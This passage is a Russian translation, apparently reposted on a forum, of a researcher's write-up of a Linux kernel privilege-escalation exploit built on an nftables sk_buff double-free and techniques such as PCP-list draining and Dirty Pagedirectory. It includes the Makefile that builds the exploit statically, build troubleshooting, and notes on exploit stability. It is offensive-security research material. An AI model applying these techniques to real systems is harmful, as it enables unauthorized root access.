CFLAGS = -I./include -I./include/linux-lts-6.1.72 -Wall -Wno-deprecated-declarations

# use custom object archives compiled with musl-gcc for compatibility. normal ones
#   are used with gcc and have _chk funcs which musl doesn't support
# the versions are the same as the headers above
LIBMNL_PATH = ./lib/libmnl.a
LIBNFTNL_PATH = ./lib/libnftnl.a

exploit: _compile_static _strip_bin
clean:
rm $(OUT_NAME)


_compile_static:
$(CC) $(CFLAGS) $(SRC_FILES) -o $(OUT_NAME) -static $(LIBNFTNL_PATH) $(LIBMNL_PATH)
_strip_bin:
strip $(OUT_NAME)
Копировать
Кодовый блок 5.3.2.1: Makefile, используемый для статической компиляции эксплойта.

[HEADING=3]5.3.3. Замечания и ошибки статической компиляции[/HEADING]
[QUOTE]
Этот раздел предназначен только для устранения неполадок тех, кто пытается статически скомпилировать свои собственные эксплойты.
[/QUOTE]
[HEADING=3]5.3.3.1. Либмнл не найден[/HEADING]
Одна из проблем при легкой жизни с apt и компиляцией с помощью gcc заключалась в том, что libmnl-devна момент написания этой статьи в одной из библиотек, содержащих функции netlink, в стабильном репозитории Debian был недопустимый файл .a. При статической компиляции это будет выглядеть так:

/usr/bin/ld: cannot find -lmnl: No such file or directory
collect2: error: ld returned 1 exit status
make: *** [Makefile:17: _compile_static] Error 1
Копировать
Кодовый блок 5.3.3.1.1: выходные данные оболочки stderr, содержащие ошибку связывания о невозможности разрешить libmnl.

Чтобы это исправить, установите пакет libmnl, который в настоящее время находится в нестабильном репозитории: sudo apt install libmnl-dev/sid( */sidустанавливает пакет из нестабильного репозитория Debian).

В противном случае просто клонируйте репозиторий libmnl, самостоятельно скомпилируйте библиотеку с помощью gcc и создайте файл .a самостоятельно.

[HEADING=3]5.3.3.2. Неверные коды операций — развлечение AVX[/HEADING]
Последней проблемой, с которой я столкнулся при статической компиляции эксплойта с использованием gcc с glibc, было использование неподдерживаемых инструкций, в частности неподдерживаемых инструкций AVX(512), которые наблюдались при открытии двоичного файла в Ghidra и просмотре адреса RIP. Расширение x86 AVX512 включает инструкции по использованию регистров большего размера, поддерживаемых серверными процессорами. Обычно gcc использует архитектуру и поддерживаемые инструкции процессора, на котором он работает, для опроса поддержки инструкций, т. е. используя CPUID. Однако я компилировал эксплойт на виртуальной машине QEMU с -cpu hostнабором аргументов на своем процессоре Intel Xeon, поддерживающем AVX512.

Проблема в том, что QEMU — по крайней мере в этой версии — не поддерживает расширения AVX512. Таким образом, в 50% случаев эксплойт вызывает ловушку ЦП в QEMU из-за неподдерживаемых кодов операций (инструкций). Причина, по которой эти инструкции были выполнены, — это еще одна кроличья нора.

[   15.211423] traps: exploit[167] trap invalid opcode ip:433db9 sp:7ffcb0682ee8 error:0 in exploit[401000+92000]
Кодовый блок 5.3.3.2.1: выходные данные Dmesg содержат недопустимую ошибку кода операции (ловушка ЦП).

Я решил эту проблему, просто удалив -cpu hostаргумент виртуальной машины QEMU и скомпилировав эксплойт в этой виртуальной машине, поскольку он будет использовать фактические свойства ЦП, которые поддерживает QEMU, и, следовательно, gcc больше не будет использовать AVX512, поскольку CPUID не подделывает поддержку AVX512.

К сожалению, в экземплярах KernelCTF этот -cpu hostаргумент всегда включен. К счастью, сообщество KernelCTF сообщило мне, что вместо этого мне нужно статически скомпилировать эксплойт с помощью musl-gcc, поскольку glibc не предназначен для статической компиляции.

[HEADING=2]6. Обсуждение[/HEADING]
[HEADING=3]6.1. Методы двойного освобождения[/HEADING]
В сообщении блога я представляю 2 метода выделения страницы order==0 и страницы order==4 по одному и тому же адресу: очистка списков PCP и состояние гонки. Первое сделало второе устаревшим, поскольку оно не зависит от состояния гонки.

Метод состояния гонки работает правильно только для виртуальных машин с эмулируемыми последовательными TTY (т. е. не virtio-serial), поскольку окно состояния гонки слишком мало в физических системах (~ 1 мс вместо 50–300 мс). К счастью, для KernelCTF эта задержка составила 300 мс, что позволило мне использовать этот метод.

Меня не устроило качество и стабильность этого метода, поэтому я дорабатывал эксплойт больше месяца и (среди прочих улучшений) придумал 2-й метод: слив списка PCP для выделения страниц из приятеля-аллокатора.

Когда я начал писать эксплойт, я не был знаком с внутренним устройством приятеля-распределителя и PCP-распределителя. Только исследовав внутренности распределителей, я понимаю, как я мог правильно использовать их для эксплойта. Следовательно, один из самых важных уроков, которые я усвоил, — это полностью понять что-то, прежде чем пытаться этим злоупотреблять, потому что это всегда будет иметь преимущества.

[HEADING=3]6.2. Стабильность после эксплуатации[/HEADING]
Поскольку эксплойт для проверки концепции в этом посте использует sk_buff double-free и имеет дело с поврежденными skb, нам приходится иметь дело с шумом в свободном списке, когда происходит сетевая активность. Когда пакет передается или принимается, skb будут выделены из свободного списка и освобождены от него. В настоящее время мы пытаемся свести это к минимуму, отключив стандартный вывод в период двойного освобождения, что помогает, когда эксплойт запускается через SSH или обратную оболочку.

Однако на некоторых аппаратных системах (например, Debian в таблице настроек оборудования) эксплойту все же удается привести к сбою системы через несколько секунд. Я не изучал этот вопрос, но подозреваю, что это может быть связано с тем, что аппаратные тестовые устройства представляют собой ноутбуки и, следовательно, имеют адаптеры Wi-Fi. Поскольку кадры Wi-Fi (которые могут даже не быть направлены на устройства) также являются skb, подключенное к Wi-Fi устройство в сети Wi-Fi с высокой нагрузкой (например, тестовые устройства) может работать нестабильно. Когда адаптер Wi-Fi отключен в BIOS, эксплойт работает нормально, что подтверждает эту теорию.

Если исследователь хочет повысить стабильность эксплойта после эксплуатации, он, вероятно, захочет либо манипулировать распределителем SLUB, чтобы сделать поврежденный skb недоступным, либо использовать Dirty Pagedirectory, чтобы исправить эту проблему.

[HEADING=2]7. Образ мышления и выход из игры[/HEADING]
[HEADING=3]7.1. VR-мышление[/HEADING]
Работая над этим проектом, я сосредоточился на трех ключевых целях: обеспечении широкой совместимости, отказоустойчивости и скрытности выполнения. По сути, кульминацией этого стал высокоэффективный эксплойт повышения привилегий ядра. Кроме того, я старался сделать кодовую базу максимально элегантной, используя свой опыт разработки программного обеспечения.

Это означало, что помимо двухмесячного периода разработки было еще два месяца на доработку эксплойта для обеспечения высокой стабильности и совместимости. Я решил пойти по этому пути, так как хотел продемонстрировать в этом блоге свои технические возможности (и бросить себе вызов).

Это означало, что нужно было думать по-другому: мне нужно было злоупотреблять запланированным поведением, основанным только на данных, в подсистемах, которые были бы широко доступны. Это отражено в методах эксплойтов, поскольку я использую только подсистему IPv4 и виртуальную память, которые включены почти во всех сборках ядра. Фактически, большая часть работы по эксплойту была направлена на то, чтобы выявить определенные кодовые пути (например, пакет, отправленный с 1.1.1.1 на 255.255.255.255) и сделать его элегантным.

Кроме того, я не использую какое-либо поведение распределителя плит для самого эксплойта: только для маскировки объектов sk_buff и начальных вызовов kmalloc/kfree, которые передаются распределителям страниц. По этой причине на эксплойт не влияет поведение распределителя блоков, которое имеет тенденцию меняться в разных версиях из-за новых средств защиты, таких как случайные кэши kmalloc. К сожалению, первоначальная ошибка требует непривилегированных пространств имен пользователей и nftables. Другие методы, такие как Dirty Pagedirectory и утечка PCP, должны работать независимо от этого и, следовательно, могут использоваться для реальных эксплойтов.

[HEADING=3]7.2. Отражение[/HEADING]
Мне было очень интересно исследовать ошибки и методы их эксплуатации, и я был очень заинтересован в том, чтобы заставить эксплойт работать. Никогда еще я не получал столько удовольствия от разработки проекта, особенно при удалении первой корневой оболочки с ошибкой. Кроме того, я многое узнал о сетевой подсистеме ядра Linux (от nftables до фрагментации IP и кода обработки IP) и подсистеме управления памятью (от распределителей до таблиц страниц).

Из всего моего опыта в сфере ИТ — от разработки программного обеспечения до сетевого проектирования и проектирования безопасности — это был, безусловно, самый радостный проект, и он поставил передо мной одну из самых больших проблем, с которыми я когда-либо сталкивался.

Кроме того, это вдохновило меня на создание других проектов, которые я хочу разработать и опубликовать, чтобы внести свой вклад в сообщество. Но пока они не будут готовы открыться миру, они останутся во тьме. :^)

[HEADING=3]7.3. Кредиты[/HEADING]
Я хотел бы поблагодарить следующих людей, которые внесли свой вклад в публикацию блога различными способами:

[LIST]
[*]@ [URL='https://twitter.com/ky1ebot']ky1ebot[/URL] (Twitter/X): обширная рецензия.
[*]@ [URL='https://github.com/daanbreur']daanbreur[/URL] (Github): помощь с цветовой схемой диаграммы.
[/LIST]
Кроме того, я попытался связать каждый пост в блоге/статью/и т. д., который я использовал, в соответствующих разделах. Если вы считаете, что я повторно использовал вашу технику без указания авторства, свяжитесь со мной, и я разместим ссылку на ваш пост в блоге в соответствующем разделе.

[HEADING=3]7.4. Выход из системы[/HEADING]
Спасибо за внимание, для меня было честью представить эту статью.

По профессиональным вопросам обращайтесь по адресу [EMAIL][email protected][/EMAIL] ( [URL='https://pwning.tech/pgp-notselwyn-pwning-tech-DE800B06B04C6635.asc']ключ PGP[/URL] ), так как я хотел бы обсудить варианты и идеи. Что касается других махинаций, пожалуйста, не бойтесь заходить в мои личные сообщения в Твиттере по адресу [URL='https://twitter.com/notselwyn']@notselwyn[/URL] .
 
Защита от мошенничества: Использование посредника минимизирует риски столкнуться с «продавцами-однодневками» или недобросовестными заказчиками, которые исчезают после получения предоплаты или результата работы.
Назад
Сверху